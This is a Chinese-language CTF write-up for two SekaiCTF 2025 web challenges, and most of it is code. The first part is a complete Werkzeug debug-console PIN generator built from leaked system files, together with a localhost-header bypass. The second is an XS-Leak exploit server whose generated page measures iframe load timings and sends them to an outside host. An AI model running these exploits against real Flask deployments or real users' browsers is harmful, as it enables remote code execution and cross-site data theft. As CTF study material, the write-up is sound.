sekai CTF 2025复现

1.my flask app

解pin脚本如下:

import hashlib
from itertools import chain

# =================================================================
# 1. 只需要修改这里面的变量
# =================================================================

# [信息来源 1]: 读取 /etc/passwd
# 查看运行该 app 的用户名 (例如: flask, www-data, root)
username = "flask" 

# [信息来源 2]: 读取 /sys/class/net/eth0/address
# 获取 MAC 地址并转换为十进制整数
# 示例: 02:42:ac:11:00:02 -> int("0242ac110002", 16) -> 2485377892354
mac_address_str = "02:42:ac:11:00:02" # 填入读取到的 MAC
mac_address_int = int(mac_address_str.replace(":", ""), 16)

# [信息来源 3]: 组合 machine-id
# Docker 环境通常由两部分组成: 
# part1: 读取 /etc/machine-id (如果读不到试 /proc/sys/kernel/random/boot_id)
# part2: 读取 /proc/self/cgroup,找第一行斜杠后面的部分
# 示例 machine_id = "d48..." + "470..." (拼接起来)
machine_id = "xxxxxxxxxxxxxxxxxxxxxxxx" 

# [信息来源 4]: Flask 库的绝对路径
# 通常是: /usr/local/lib/python{版本}/site-packages/flask/app.py
# 如果不知道 Python 版本,可以通过报错或者读取 /proc/self/environ猜测
flask_app_path = "/usr/local/lib/python3.8/site-packages/flask/app.py"

# =================================================================
# 2. 下面的逻辑通常不需要动 (这是 Werkzeug 生成 PIN 的源码逻辑)
# =================================================================

probably_public_bits = [
    username,
    'flask.app',       # modname (通常不变)
    'Flask',           # getattr(app, '__name__', getattr(app.__class__, '__name__')) (通常不变)
    flask_app_path     # getattr(mod, '__file__', None)
]

private_bits = [
    str(mac_address_int),
    machine_id
]

# 尝试不同的哈希算法 (Werkzeug 1.0 之前用 md5,之后用 sha1)
# 大多数现代 CTF 题目使用的是 sha1
h = hashlib.sha1() 
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
    h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(f"[*] Calculated PIN: {rv}")

很贴心地给了任意文件读取,直接读加密代码,直接解就行。

进console后直接lscat拿到flag。

这里直接进console会报400,但是改http头127.0.0.1就能过,不知道为什么

2.notebook viewer

先看源码:

function srcFor(i, code) {
  return `https://nbv-${i}-${code}.chals.sekai.team/`;
}

for (let i = 0; i < note.length; i++) {
  const code = note.codePointAt(i);
  const frame = document.createElement('iframe');
  frame.scrolling = 'no';
  frame.src = srcFor(i, code);
  wrap.appendChild(frame);
}

大意是说会把 flag 每个字母全拆开来,发一个请求。

browser = await puppeteer.launch({
    headless: true,
    pipe: true,
    args: [
        "--no-sandbox",
        "--disable-setuid-sandbox",
        "--js-flags=--jitless",
        // Speed up dns!
        "--host-resolver-rules=MAP nbv-*.chals.sekai.team nbv-0-0.chals.sekai.team",
    ],
    dumpio: true
});
let page1 = await browser.newPage();
await page1.goto(`${SITE}/?note=${encodeURIComponent(FLAG)}`, {
    waitUntil: "networkidle2"
});
let page2 = await browser.newPage();
await page2.goto(url);
await new Promise((res) => setTimeout(res, 15000));
await browser.close();
browser = null;

把 DNS 解析处理了一下,--host-resolver-rules=MAP nbv-*.chals.sekai.team nbv-0-0.chals.sekai.team,就是没法拿 DNS 相关的东西来 leak

其实到这里就已经可以猜到是 XSLeak 了

add_header Vary "Sec-Fetch-Site" always;
add_header Cache-Control "no-store" always;
add_header Clear-Site-Data "\"*\"" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "cross-origin" always;
add_header Referrer-Policy "no-referrer" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Origin-Agent-Cluster "?1" always;

nginx.conf 中给了一系列 header,核心就是:1. 可以从外侧嵌入 iframe;2. Clear-Site-Data 超绝清空数据(喜欢我们访问一次题目环境之后回到主界面直接把登陆状态清了的救赎感吗)

然后就使用 Performance API

ref: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/

ref: https://developer.mozilla.org/zh-CN/docs/Web/API/Performance_API

const express = require('express');
const fs = require('fs');
const path = require('path');

const app = express();
const PORT = 8080;
const LOG_FILE = path.join(__dirname, 'access.log');

const data = require("./data.json");

const Generate_Payload = (bruteforce_charid, task) => {
    const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}@(<&!*#+_-"// [a-zA-Z0-9{}@(<&!*#+_\-]
    const batch_size = 10;
    batchSlices = [];
    const charset_rev = charset.split("").sort(() => Math.random() - 0.5).sort(() => Math.random() - 0.5).sort(() => Math.random() - 0.5).join("");
    for (let i = 0; i < charset_rev.length; i += batch_size) {
        batchSlices.push(charset_rev.slice(i, i + batch_size));
    }
    return `
<!DOCTYPE html>
<body>
<div id="yourmother"></div>
  <script>
        (async()=>{
        const IFRAMEslices = [
${batchSlices.map(slice => `\`
        ${slice.split("").map(c => `
            <iframe src="https://nbv-${bruteforce_charid}-${c.codePointAt(0)}.chals.sekai.team/"></iframe>
            `).join("")
        }
    \`,`).join("\n")
        }
    ]
    for(let i = 0 ; i < IFRAMEslices.length; i++) {
        document.getElementById("yourmother").innerHTML = IFRAMEslices[i];
        await new Promise(resolve => setTimeout(resolve, 1000));
    }

        const url_list = [
        
${charset.split("").map((c, i) => `
    "https://nbv-${bruteforce_charid}-${c.codePointAt(0)}.chals.sekai.team/",
    `).join("")
        }



   ]

    for(let i = 0; i < url_list.length; i++) {
        let res = performance.getEntriesByName(url_list[i]).pop();
        console.log(JSON.stringify(res))
        fetch("https://dev.5dbwat4.top/payload",{
            method: "POST",
            headers: {
                "Content-Type": "application/json"
            },
            body: JSON.stringify({
                // task: "B-${bruteforce_charid}-${REVERSE ? "r" : "s"}", 
                task: "B-${bruteforce_charid}-${task}", 
                url: url_list[i],
                res: res
            })
        })
    }

    })()
    </script>
</body>
`

}

app.use(express.text({ type: '*/*' }));

app.get('/exp', (req, res) => {
    res.send(Generate_Payload(req.query.cid, req.query.task))
})

app.post('/payload', (req, res) => {
    const payload = req.body;

    const s = JSON.parse(payload)

    const charcode = s.url.split("-").pop().split(".")[0];

    data[s.task] = data[s.task] || []

    data[s.task].push({
        url: s.url,
        charcode,
        duration: s.res.duration
    })

    console.log("Task ", s.task, " By fucking " + s.charcode + " got " + s.res.duration)

    fs.writeFileSync("data.json", JSON.stringify(data, null, 2))

    res.status(200)
});

app.use(express.static(path.join(__dirname)));
// 启动服务器
app.listen(PORT, () => {
    console.log(`服务器运行中:http://localhost:${PORT}`);
    console.log(`日志文件路径:${LOG_FILE}`);
});

我们用 performance API,利用请求的 duration 来判断请求用时。经过测试,已经访问过的域名的请求时间明显低于未访问过的域名,因此可以利用这个特性来进行域名的筛选。

不过这玩意特点就是受网络波动的影响比较大,具体的说,虽然已访问过的不一定在第一个,但总是在前几个。

猜测访问偏快的是由于它们优先出现在 exp 的 html 中,所以偏快,总之多进行几次打乱多发几次(多次测量取平均值(确信),然后找共性的排在前几位的字符,基本上都是对的。

然后就能拿到flag了。